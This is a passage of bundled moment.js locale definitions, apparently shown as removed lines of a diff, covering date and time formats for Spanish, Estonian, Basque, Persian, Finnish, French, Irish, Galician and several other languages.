[de] MMMM [de] YYYY h:mm A" - }, - calendar: { - sameDay: function () { - return "[hoy a la" + (this.hours() !== 1 ? "s" : "") + "] LT" - }, - nextDay: function () { - return "[mañana a la" + (this.hours() !== 1 ? "s" : "") + "] LT" - }, - nextWeek: function () { - return "dddd [a la" + (this.hours() !== 1 ? "s" : "") + "] LT" - }, - lastDay: function () { - return "[ayer a la" + (this.hours() !== 1 ? "s" : "") + "] LT" - }, - lastWeek: function () { - return "[el] dddd [pasado a la" + (this.hours() !== 1 ? "s" : "") + "] LT" - }, - sameElse: "L" - }, - relativeTime: { - future: "en %s", - past: "hace %s", - s: "unos segundos", - ss: "%d segundos", - m: "un minuto", - mm: "%d minutos", - h: "una hora", - hh: "%d horas", - d: "un día", - dd: "%d días", - M: "un mes", - MM: "%d meses", - y: "un año", - yy: "%d años" - }, - dayOfMonthOrdinalParse: /\d{1,2}º/, - ordinal: "%dº", - week: { - dow: 1, - doy: 4 - } - }); - return a - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = "ene._feb._mar._abr._may._jun._jul._ago._sep._oct._nov._dic.".split("_"), - i = "ene_feb_mar_abr_may_jun_jul_ago_sep_oct_nov_dic".split("_"); - var n = [/^ene/i, /^feb/i, /^mar/i, /^abr/i, /^may/i, /^jun/i, /^jul/i, /^ago/i, /^sep/i, /^oct/i, /^nov/i, /^dic/i]; - var r = /^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre|ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i; - var a = e.defineLocale("es-us", { - months: "enero_febrero_marzo_abril_mayo_junio_julio_agosto_septiembre_octubre_noviembre_diciembre".split("_"), - monthsShort: function (e, n) { - if (!e) { - return t - } else if (/-MMM-/.test(n)) { - return i[e.month()] - } else { - return t[e.month()] - } - }, - monthsRegex: r, - monthsShortRegex: r, - monthsStrictRegex: /^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre)/i, - monthsShortStrictRegex: /^(ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i, - monthsParse: n, - longMonthsParse: n, - shortMonthsParse: n, - weekdays: "domingo_lunes_martes_miércoles_jueves_viernes_sábado".split("_"), - weekdaysShort: "dom._lun._mar._mié._jue._vie._sáb.".split("_"), - weekdaysMin: "do_lu_ma_mi_ju_vi_sá".split("_"), - weekdaysParseExact: true, - longDateFormat: { - LT: "h:mm A", - LTS: "h:mm:ss A", - L: "MM/DD/YYYY", - LL: "D [de] MMMM [de] YYYY", - LLL: "D [de] MMMM [de] YYYY h:mm A", - LLLL: "dddd, D [de] MMMM [de] YYYY h:mm A" - }, - calendar: { - sameDay: function () { - return "[hoy a la" + (this.hours() !== 1 ? "s" : "") + "] LT" - }, - nextDay: function () { - return "[mañana a la" + (this.hours() !== 1 ? "s" : "") + "] LT" - }, - nextWeek: function () { - return "dddd [a la" + (this.hours() !== 1 ? "s" : "") + "] LT" - }, - lastDay: function () { - return "[ayer a la" + (this.hours() !== 1 ? "s" : "") + "] LT" - }, - lastWeek: function () { - return "[el] dddd [pasado a la" + (this.hours() !== 1 ? "s" : "") + "] LT" - }, - sameElse: "L" - }, - relativeTime: { - future: "en %s", - past: "hace %s", - s: "unos segundos", - ss: "%d segundos", - m: "un minuto", - mm: "%d minutos", - h: "una hora", - hh: "%d horas", - d: "un día", - dd: "%d días", - M: "un mes", - MM: "%d meses", - y: "un año", - yy: "%d años" - }, - dayOfMonthOrdinalParse: /\d{1,2}º/, - ordinal: "%dº", - week: { - dow: 0, - doy: 6 - } - }); - return a - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - - function t(e, t, i, n) { - var r = { - s: ["mõne sekundi", "mõni sekund", "paar sekundit"], - ss: [e + "sekundi", e + "sekundit"], - m: ["ühe minuti", "üks minut"], - mm: [e + " minuti", e + " minutit"], - h: ["ühe tunni", "tund aega", "üks tund"], - hh: [e + " tunni", e + " tundi"], - d: ["ühe päeva", "üks päev"], - M: ["kuu aja", "kuu aega", "üks kuu"], - MM: [e + " kuu", e + " kuud"], - y: ["ühe aasta", "aasta", "üks aasta"], - yy: [e + " aasta", e + " aastat"] - }; - if (t) { - return r[i][2] ? r[i][2] : r[i][1] - } - return n ? r[i][0] : r[i][1] - } - var i = e.defineLocale("et", { - months: "jaanuar_veebruar_märts_aprill_mai_juuni_juuli_august_september_oktoober_november_detsember".split("_"), - monthsShort: "jaan_veebr_märts_apr_mai_juuni_juuli_aug_sept_okt_nov_dets".split("_"), - weekdays: "pühapäev_esmaspäev_teisipäev_kolmapäev_neljapäev_reede_laupäev".split("_"), - weekdaysShort: "P_E_T_K_N_R_L".split("_"), - weekdaysMin: "P_E_T_K_N_R_L".split("_"), - longDateFormat: { - LT: "H:mm", - LTS: "H:mm:ss", - L: "DD.MM.YYYY", - LL: "D. MMMM YYYY", - LLL: "D. MMMM YYYY H:mm", - LLLL: "dddd, D. MMMM YYYY H:mm" - }, - calendar: { - sameDay: "[Täna,] LT", - nextDay: "[Homme,] LT", - nextWeek: "[Järgmine] dddd LT", - lastDay: "[Eile,] LT", - lastWeek: "[Eelmine] dddd LT", - sameElse: "L" - }, - relativeTime: { - future: "%s pärast", - past: "%s tagasi", - s: t, - ss: t, - m: t, - mm: t, - h: t, - hh: t, - d: t, - dd: "%d päeva", - M: t, - MM: t, - y: t, - yy: t - }, - dayOfMonthOrdinalParse: /\d{1,2}\./, - ordinal: "%d.", - week: { - dow: 1, - doy: 4 - } - }); - return i - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("eu", { - months: "urtarrila_otsaila_martxoa_apirila_maiatza_ekaina_uztaila_abuztua_iraila_urria_azaroa_abendua".split("_"), - monthsShort: "urt._ots._mar._api._mai._eka._uzt._abu._ira._urr._aza._abe.".split("_"), - monthsParseExact: true, - weekdays: "igandea_astelehena_asteartea_asteazkena_osteguna_ostirala_larunbata".split("_"), - weekdaysShort: "ig._al._ar._az._og._ol._lr.".split("_"), - weekdaysMin: "ig_al_ar_az_og_ol_lr".split("_"), - weekdaysParseExact: true, - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "YYYY-MM-DD", - LL: "YYYY[ko] MMMM[ren] D[a]", - LLL: "YYYY[ko] MMMM[ren] D[a] HH:mm", - LLLL: "dddd, YYYY[ko] MMMM[ren] D[a] HH:mm", - l: "YYYY-M-D", - ll: "YYYY[ko] MMM D[a]", - lll: "YYYY[ko] MMM D[a] HH:mm", - llll: "ddd, YYYY[ko] MMM D[a] HH:mm" - }, - calendar: { - sameDay: "[gaur] LT[etan]", - nextDay: "[bihar] LT[etan]", - nextWeek: "dddd LT[etan]", - lastDay: "[atzo] LT[etan]", - lastWeek: "[aurreko] dddd LT[etan]", - sameElse: "L" - }, - relativeTime: { - future: "%s barru", - past: "duela %s", - s: "segundo batzuk", - ss: "%d segundo", - m: "minutu bat", - mm: "%d minutu", - h: "ordu bat", - hh: "%d ordu", - d: "egun bat", - dd: "%d egun", - M: "hilabete bat", - MM: "%d hilabete", - y: "urte bat", - yy: "%d urte" - }, - dayOfMonthOrdinalParse: /\d{1,2}\./, - ordinal: "%d.", - week: { - dow: 1, - doy: 7 - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = { - 1: "۱", - 2: "۲", - 3: "۳", - 4: "۴", - 5: "۵", - 6: "۶", - 7: "۷", - 8: "۸", - 9: "۹", - 0: "۰" - }, - i = { - "۱": "1", - "۲": "2", - "۳": "3", - "۴": "4", - "۵": "5", - "۶": "6", - "۷": "7", - "۸": "8", - "۹": "9", - "۰": "0" - }; - var n = e.defineLocale("fa", { - months: "ژانویه_فوریه_مارس_آوریل_مه_ژوئن_ژوئیه_اوت_سپتامبر_اکتبر_نوامبر_دسامبر".split("_"), - monthsShort: "ژانویه_فوریه_مارس_آوریل_مه_ژوئن_ژوئیه_اوت_سپتامبر_اکتبر_نوامبر_دسامبر".split("_"), - weekdays: "یک‌شنبه_دوشنبه_سه‌شنبه_چهارشنبه_پنج‌شنبه_جمعه_شنبه".split("_"), - weekdaysShort: "یک‌شنبه_دوشنبه_سه‌شنبه_چهارشنبه_پنج‌شنبه_جمعه_شنبه".split("_"), - weekdaysMin: "ی_د_س_چ_پ_ج_ش".split("_"), - weekdaysParseExact: true, - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY HH:mm", - LLLL: "dddd, D MMMM YYYY HH:mm" - }, - meridiemParse: /قبل از ظهر|بعد از ظهر/, - isPM: function (e) { - return /بعد از ظهر/.test(e) - }, - meridiem: function (e, t, i) { - if (e < 12) { - return "قبل از ظهر" - } else { - return "بعد از ظهر" - } - }, - calendar: { - sameDay: "[امروز ساعت] LT", - nextDay: "[فردا ساعت] LT", - nextWeek: "dddd [ساعت] LT", - lastDay: "[دیروز ساعت] LT", - lastWeek: "dddd [پیش] [ساعت] LT", - sameElse: "L" - }, - relativeTime: { - future: "در %s", - past: "%s پیش", - s: "چند ثانیه", - ss: "ثانیه d%", - m: "یک دقیقه", - mm: "%d دقیقه", - h: "یک ساعت", - hh: "%d ساعت", - d: "یک روز", - dd: "%d روز", - M: "یک ماه", - MM: "%d ماه", - y: "یک سال", - yy: "%d سال" - }, - preparse: function (e) { - return e.replace(/[۰-۹]/g, function (e) { - return i[e] - }).replace(/،/g, ",") - }, - postformat: function (e) { - return e.replace(/\d/g, function (e) { - return t[e] - }).replace(/,/g, "،") - }, - dayOfMonthOrdinalParse: /\d{1,2}م/, - ordinal: "%dم", - week: { - dow: 6, - doy: 12 - } - }); - return n - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = "nolla yksi kaksi kolme neljä viisi kuusi seitsemän kahdeksan yhdeksän".split(" "), - i = ["nolla", "yhden", "kahden", "kolmen", "neljän", "viiden", "kuuden", t[7], t[8], t[9]]; - - function n(e, t, i, n) { - var a = ""; - switch (i) { - case "s": - return n ? "muutaman sekunnin" : "muutama sekunti"; - case "ss": - return n ? "sekunnin" : "sekuntia"; - case "m": - return n ? "minuutin" : "minuutti"; - case "mm": - a = n ? "minuutin" : "minuuttia"; - break; - case "h": - return n ? "tunnin" : "tunti"; - case "hh": - a = n ? "tunnin" : "tuntia"; - break; - case "d": - return n ? "päivän" : "päivä"; - case "dd": - a = n ? "päivän" : "päivää"; - break; - case "M": - return n ? "kuukauden" : "kuukausi"; - case "MM": - a = n ? "kuukauden" : "kuukautta"; - break; - case "y": - return n ? "vuoden" : "vuosi"; - case "yy": - a = n ? "vuoden" : "vuotta"; - break - } - a = r(e, n) + " " + a; - return a - } - - function r(e, n) { - return e < 10 ? n ? i[e] : t[e] : e - } - var a = e.defineLocale("fi", { - months: "tammikuu_helmikuu_maaliskuu_huhtikuu_toukokuu_kesäkuu_heinäkuu_elokuu_syyskuu_lokakuu_marraskuu_joulukuu".split("_"), - monthsShort: "tammi_helmi_maalis_huhti_touko_kesä_heinä_elo_syys_loka_marras_joulu".split("_"), - weekdays: "sunnuntai_maanantai_tiistai_keskiviikko_torstai_perjantai_lauantai".split("_"), - weekdaysShort: "su_ma_ti_ke_to_pe_la".split("_"), - weekdaysMin: "su_ma_ti_ke_to_pe_la".split("_"), - longDateFormat: { - LT: "HH.mm", - LTS: "HH.mm.ss", - L: "DD.MM.YYYY", - LL: "Do MMMM[ta] YYYY", - LLL: "Do MMMM[ta] YYYY, [klo] HH.mm", - LLLL: "dddd, Do MMMM[ta] YYYY, [klo] HH.mm", - l: "D.M.YYYY", - ll: "Do MMM YYYY", - lll: "Do MMM YYYY, [klo] HH.mm", - llll: "ddd, Do MMM YYYY, [klo] HH.mm" - }, - calendar: { - sameDay: "[tänään] [klo] LT", - nextDay: "[huomenna] [klo] LT", - nextWeek: "dddd [klo] LT", - lastDay: "[eilen] [klo] LT", - lastWeek: "[viime] dddd[na] [klo] LT", - sameElse: "L" - }, - relativeTime: { - future: "%s päästä", - past: "%s sitten", - s: n, - ss: n, - m: n, - mm: n, - h: n, - hh: n, - d: n, - dd: n, - M: n, - MM: n, - y: n, - yy: n - }, - dayOfMonthOrdinalParse: /\d{1,2}\./, - ordinal: "%d.", - week: { - dow: 1, - doy: 4 - } - }); - return a - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("fo", { - months: "januar_februar_mars_apríl_mai_juni_juli_august_september_oktober_november_desember".split("_"), - monthsShort: "jan_feb_mar_apr_mai_jun_jul_aug_sep_okt_nov_des".split("_"), - weekdays: "sunnudagur_mánadagur_týsdagur_mikudagur_hósdagur_fríggjadagur_leygardagur".split("_"), - weekdaysShort: "sun_mán_týs_mik_hós_frí_ley".split("_"), - weekdaysMin: "su_má_tý_mi_hó_fr_le".split("_"), - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY HH:mm", - LLLL: "dddd D. MMMM, YYYY HH:mm" - }, - calendar: { - sameDay: "[Í dag kl.] LT", - nextDay: "[Í morgin kl.] LT", - nextWeek: "dddd [kl.] LT", - lastDay: "[Í gjár kl.] LT", - lastWeek: "[síðstu] dddd [kl] LT", - sameElse: "L" - }, - relativeTime: { - future: "um %s", - past: "%s síðani", - s: "fá sekund", - ss: "%d sekundir", - m: "ein minuttur", - mm: "%d minuttir", - h: "ein tími", - hh: "%d tímar", - d: "ein dagur", - dd: "%d dagar", - M: "ein mánaður", - MM: "%d mánaðir", - y: "eitt ár", - yy: "%d ár" - }, - dayOfMonthOrdinalParse: /\d{1,2}\./, - ordinal: "%d.", - week: { - dow: 1, - doy: 4 - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("fr", { - months: "janvier_février_mars_avril_mai_juin_juillet_août_septembre_octobre_novembre_décembre".split("_"), - monthsShort: "janv._févr._mars_avr._mai_juin_juil._août_sept._oct._nov._déc.".split("_"), - monthsParseExact: true, - weekdays: "dimanche_lundi_mardi_mercredi_jeudi_vendredi_samedi".split("_"), - weekdaysShort: "dim._lun._mar._mer._jeu._ven._sam.".split("_"), - weekdaysMin: "di_lu_ma_me_je_ve_sa".split("_"), - weekdaysParseExact: true, - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY HH:mm", - LLLL: "dddd D MMMM YYYY HH:mm" - }, - calendar: { - sameDay: "[Aujourd’hui à] LT", - nextDay: "[Demain à] LT", - nextWeek: "dddd [à] LT", - lastDay: "[Hier à] LT", - lastWeek: "dddd [dernier à] LT", - sameElse: "L" - }, - relativeTime: { - future: "dans %s", - past: "il y a %s", - s: "quelques secondes", - ss: "%d secondes", - m: "une minute", - mm: "%d minutes", - h: "une heure", - hh: "%d heures", - d: "un jour", - dd: "%d jours", - M: "un mois", - MM: "%d mois", - y: "un an", - yy: "%d ans" - }, - dayOfMonthOrdinalParse: /\d{1,2}(er|)/, - ordinal: function (e, t) { - switch (t) { - case "D": - return e + (e === 1 ? "er" : ""); - default: - case "M": - case "Q": - case "DDD": - case "d": - return e + (e === 1 ? "er" : "e"); - case "w": - case "W": - return e + (e === 1 ? "re" : "e") - } - }, - week: { - dow: 1, - doy: 4 - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("fr-ca", { - months: "janvier_février_mars_avril_mai_juin_juillet_août_septembre_octobre_novembre_décembre".split("_"), - monthsShort: "janv._févr._mars_avr._mai_juin_juil._août_sept._oct._nov._déc.".split("_"), - monthsParseExact: true, - weekdays: "dimanche_lundi_mardi_mercredi_jeudi_vendredi_samedi".split("_"), - weekdaysShort: "dim._lun._mar._mer._jeu._ven._sam.".split("_"), - weekdaysMin: "di_lu_ma_me_je_ve_sa".split("_"), - weekdaysParseExact: true, - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "YYYY-MM-DD", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY HH:mm", - LLLL: "dddd D MMMM YYYY HH:mm" - }, - calendar: { - sameDay: "[Aujourd’hui à] LT", - nextDay: "[Demain à] LT", - nextWeek: "dddd [à] LT", - lastDay: "[Hier à] LT", - lastWeek: "dddd [dernier à] LT", - sameElse: "L" - }, - relativeTime: { - future: "dans %s", - past: "il y a %s", - s: "quelques secondes", - ss: "%d secondes", - m: "une minute", - mm: "%d minutes", - h: "une heure", - hh: "%d heures", - d: "un jour", - dd: "%d jours", - M: "un mois", - MM: "%d mois", - y: "un an", - yy: "%d ans" - }, - dayOfMonthOrdinalParse: /\d{1,2}(er|e)/, - ordinal: function (e, t) { - switch (t) { - default: - case "M": - case "Q": - case "D": - case "DDD": - case "d": - return e + (e === 1 ? "er" : "e"); - case "w": - case "W": - return e + (e === 1 ? "re" : "e") - } - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("fr-ch", { - months: "janvier_février_mars_avril_mai_juin_juillet_août_septembre_octobre_novembre_décembre".split("_"), - monthsShort: "janv._févr._mars_avr._mai_juin_juil._août_sept._oct._nov._déc.".split("_"), - monthsParseExact: true, - weekdays: "dimanche_lundi_mardi_mercredi_jeudi_vendredi_samedi".split("_"), - weekdaysShort: "dim._lun._mar._mer._jeu._ven._sam.".split("_"), - weekdaysMin: "di_lu_ma_me_je_ve_sa".split("_"), - weekdaysParseExact: true, - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD.MM.YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY HH:mm", - LLLL: "dddd D MMMM YYYY HH:mm" - }, - calendar: { - sameDay: "[Aujourd’hui à] LT", - nextDay: "[Demain à] LT", - nextWeek: "dddd [à] LT", - lastDay: "[Hier à] LT", - lastWeek: "dddd [dernier à] LT", - sameElse: "L" - }, - relativeTime: { - future: "dans %s", - past: "il y a %s", - s: "quelques secondes", - ss: "%d secondes", - m: "une minute", - mm: "%d minutes", - h: "une heure", - hh: "%d heures", - d: "un jour", - dd: "%d jours", - M: "un mois", - MM: "%d mois", - y: "un an", - yy: "%d ans" - }, - dayOfMonthOrdinalParse: /\d{1,2}(er|e)/, - ordinal: function (e, t) { - switch (t) { - default: - case "M": - case "Q": - case "D": - case "DDD": - case "d": - return e + (e === 1 ? "er" : "e"); - case "w": - case "W": - return e + (e === 1 ? "re" : "e") - } - }, - week: { - dow: 1, - doy: 4 - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = "jan._feb._mrt._apr._mai_jun._jul._aug._sep._okt._nov._des.".split("_"), - i = "jan_feb_mrt_apr_mai_jun_jul_aug_sep_okt_nov_des".split("_"); - var n = e.defineLocale("fy", { - months: "jannewaris_febrewaris_maart_april_maaie_juny_july_augustus_septimber_oktober_novimber_desimber".split("_"), - monthsShort: function (e, n) { - if (!e) { - return t - } else if (/-MMM-/.test(n)) { - return i[e.month()] - } else { - return t[e.month()] - } - }, - monthsParseExact: true, - weekdays: "snein_moandei_tiisdei_woansdei_tongersdei_freed_sneon".split("_"), - weekdaysShort: "si._mo._ti._wo._to._fr._so.".split("_"), - weekdaysMin: "Si_Mo_Ti_Wo_To_Fr_So".split("_"), - weekdaysParseExact: true, - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD-MM-YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY HH:mm", - LLLL: "dddd D MMMM YYYY HH:mm" - }, - calendar: { - sameDay: "[hjoed om] LT", - nextDay: "[moarn om] LT", - nextWeek: "dddd [om] LT", - lastDay: "[juster om] LT", - lastWeek: "[ôfrûne] dddd [om] LT", - sameElse: "L" - }, - relativeTime: { - future: "oer %s", - past: "%s lyn", - s: "in pear sekonden", - ss: "%d sekonden", - m: "ien minút", - mm: "%d minuten", - h: "ien oere", - hh: "%d oeren", - d: "ien dei", - dd: "%d dagen", - M: "ien moanne", - MM: "%d moannen", - y: "ien jier", - yy: "%d jierren" - }, - dayOfMonthOrdinalParse: /\d{1,2}(ste|de)/, - ordinal: function (e) { - return e + (e === 1 || e === 8 || e >= 20 ? "ste" : "de") - }, - week: { - dow: 1, - doy: 4 - } - }); - return n - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = ["Eanáir", "Feabhra", "Márta", "Aibreán", "Bealtaine", "Méitheamh", "Iúil", "Lúnasa", "Meán Fómhair", "Deaireadh Fómhair", "Samhain", "Nollaig"]; - var i = ["Eaná", "Feab", "Márt", "Aibr", "Beal", "Méit", "Iúil", "Lúna", "Meán", "Deai", "Samh", "Noll"]; - var n = ["Dé Domhnaigh", "Dé Luain", "Dé Máirt", "Dé Céadaoin", "Déardaoin", "Dé hAoine", "Dé Satharn"]; - var r = ["Dom", "Lua", "Mái", "Céa", "Déa", "hAo", "Sat"]; - var a = ["Do", "Lu", "Má", "Ce", "Dé", "hA", "Sa"]; - var s = e.defineLocale("ga", { - months: t, - monthsShort: i, - monthsParseExact: true, - weekdays: n, - weekdaysShort: r, - weekdaysMin: a, - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY HH:mm", - LLLL: "dddd, D MMMM YYYY HH:mm" - }, - calendar: { - sameDay: "[Inniu ag] LT", - nextDay: "[Amárach ag] LT", - nextWeek: "dddd [ag] LT", - lastDay: "[Inné aig] LT", - lastWeek: "dddd [seo caite] [ag] LT", - sameElse: "L" - }, - relativeTime: { - future: "i %s", - past: "%s ó shin", - s: "cúpla soicind", - ss: "%d soicind", - m: "nóiméad", - mm: "%d nóiméad", - h: "uair an chloig", - hh: "%d uair an chloig", - d: "lá", - dd: "%d lá", - M: "mí", - MM: "%d mí", - y: "bliain", - yy: "%d bliain" - }, - dayOfMonthOrdinalParse: /\d{1,2}(d|na|mh)/, - ordinal: function (e) { - var t = e === 1 ? "d" : e % 10 === 2 ? "na" : "mh"; - return e + t - }, - week: { - dow: 1, - doy: 4 - } - }); - return s - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = ["Am Faoilleach", "An Gearran", "Am Màrt", "An Giblean", "An Cèitean", "An t-Ògmhios", "An t-Iuchar", "An Lùnastal", "An t-Sultain", "An Dàmhair", "An t-Samhain", "An Dùbhlachd"]; - var i = ["Faoi", "Gear", "Màrt", "Gibl", "Cèit", "Ògmh", "Iuch", "Lùn", "Sult", "Dàmh", "Samh", "Dùbh"]; - var n = ["Didòmhnaich", "Diluain", "Dimàirt", "Diciadain", "Diardaoin", "Dihaoine", "Disathairne"]; - var r = ["Did", "Dil", "Dim", "Dic", "Dia", "Dih", "Dis"]; - var a = ["Dò", "Lu", "Mà", "Ci", "Ar", "Ha", "Sa"]; - var s = e.defineLocale("gd", { - months: t, - monthsShort: i, - monthsParseExact: true, - weekdays: n, - weekdaysShort: r, - weekdaysMin: a, - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY HH:mm", - LLLL: "dddd, D MMMM YYYY HH:mm" - }, - calendar: { - sameDay: "[An-diugh aig] LT", - nextDay: "[A-màireach aig] LT", - nextWeek: "dddd [aig] LT", - lastDay: "[An-dè aig] LT", - lastWeek: "dddd [seo chaidh] [aig] LT", - sameElse: "L" - }, - relativeTime: { - future: "ann an %s", - past: "bho chionn %s", - s: "beagan diogan", - ss: "%d diogan", - m: "mionaid", - mm: "%d mionaidean", - h: "uair", - hh: "%d uairean", - d: "latha", - dd: "%d latha", - M: "mìos", - MM: "%d mìosan", - y: "bliadhna", - yy: "%d bliadhna" - }, - dayOfMonthOrdinalParse: /\d{1,2}(d|na|mh)/, - ordinal: function (e) { - var t = e === 1 ? "d" : e % 10 === 2 ? "na" : "mh"; - return e + t - }, - week: { - dow: 1, - doy: 4 - } - }); - return s - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("gl", { - months: "xaneiro_febreiro_marzo_abril_maio_xuño_xullo_agosto_setembro_outubro_novembro_decembro".split("_"), - monthsShort: "xan._feb._mar._abr._mai._xuñ._xul._ago._set._out._nov._dec.".split("_"), - monthsParseExact: true, - weekdays: "domingo_luns_martes_mércores_xoves_venres_sábado".split("_"), - weekdaysShort: "dom._lun._mar._mér._xov._ven._sáb.".split("_"), - weekdaysMin: "do_lu_ma_mé_xo_ve_sá".split("_"), - weekdaysParseExact: true, - longDateFormat: { - LT: "H:mm", - LTS: "H:mm:ss", - L: "DD/MM/YYYY", - LL: "D [de] MMMM [de] YYYY", - LLL: "D [de] MMMM [de] YYYY H:mm", - LLLL: "dddd, D [de] MMMM [de] YYYY H:mm" - }, - calendar: { - sameDay: function () { - return "[hoxe " + (this.hours() !== 1 ? "ás" : "á") + "] LT" - }, - nextDay: function () { - return "[mañá " + (this.hours() !== 1 ? "ás" : "á") + "] LT" - }, - nextWeek: function () { - return "dddd [" + (this.hours() !== 1 ? "ás" : "a") + "] LT" - }, - lastDay: function () { - return "[onte " + (this.hours() !== 1 ? "á" : "a") + "] LT" - }, - lastWeek: function () { - return "[o] dddd [pasado " + (this.hours() !== 1 ? "ás" : "a") + "] LT" - }, - sameElse: "L" - }, - relativeTime: { - future: function (e) { - if (e.indexOf("un") === 0) { - return "n" + e - } - return "en " + e - }, - past: "hai %s", - s: "uns segundos", - ss: "%d segundos", - m: "un minuto", - mm: "%d minutos", - h: "unha hora", - hh: "%d horas", - d: "un día", - dd: "%d días", - M: "un mes", - MM: "%d meses", - y: "un ano", - yy: "%d anos" - }, - dayOfMonthOrdinalParse: /\d{1,2}º/, - ordinal: "%dº", - week: { - dow: 1, - doy: 4 - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - - function t(e, t, i, n) { - var r = { - s: ["thodde secondanim", "thodde second"], - ss: [e + " secondanim", e + " second"], - m: ["eka mintan", "ek minute"], - mm: [e + " mintanim", e + " mintam"], - h: ["eka voran", "ek vor"], - hh: [e + " voranim", e + " voram"], - d: ["eka disan", "ek dis"], - dd: [e + " disanim", e + " dis"], - M: ["eka mhoinean", "ek mhoino"], - MM: [e + " mhoineanim", e + " mhoine"], - y: ["eka vorsan", "ek voros"], - yy: [e + " vorsanim", e + " vorsam"] - }; - return t ? r[i][0] : r[i][1] - } - var i = e.defineLocale("gom-latn", { - months: "Janer_Febrer_Mars_Abril_Mai_Jun_Julai_Agost_Setembr_Otubr_Novembr_Dezembr".split("_"), - monthsShort: "Jan._Feb._Mars_Abr._Mai_Jun_Jul._Ago._Set._Otu._Nov._Dez.".split("_"), - monthsParseExact: true, - weekdays: "Aitar_Somar_Mongllar_Budvar_Brestar_Sukrar_Son'var".split("_"), - weekdaysShort: "Ait._Som._Mon._Bud._Bre._Suk._Son.".split("_"), - weekdaysMin: "Ai_Sm_Mo_Bu_Br_Su_Sn".split("_"), - weekdaysParseExact: true, - longDateFormat: { - LT: "A h:mm [vazta]", - LTS: "A h:mm:ss [vazta]", - L: "DD-MM-YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY A h:mm [vazta]", - LLLL: "dddd, MMMM[achea] Do, YYYY, A h:mm [vazta]", - llll: "ddd, D MMM YYYY, A h:mm [vazta]" - }, - calendar: { - sameDay: "[Aiz] LT", - nextDay: "[Faleam] LT", - nextWeek: "[Ieta to] dddd[,] LT", - lastDay: "[Kal] LT", - lastWeek: "[Fatlo] dddd[,] LT", - sameElse: "L" - }, - relativeTime: { - future: "%s", - past: "%s adim", - s: t, - ss: t, - m: t, - mm: t, - h: t, - hh: t, - d: t, - dd: t, - M: t, - MM: t, - y: t, - yy: t - }, - dayOfMonthOrdinalParse: /\d{1,2}(er)/, - ordinal: function (e, t) { - switch (t) { - case "D": - return e + "er"; - default: - case "M": - case "Q": - case "DDD": - case "d": - case "w": - case "W": - return e - } - }, - week: { - 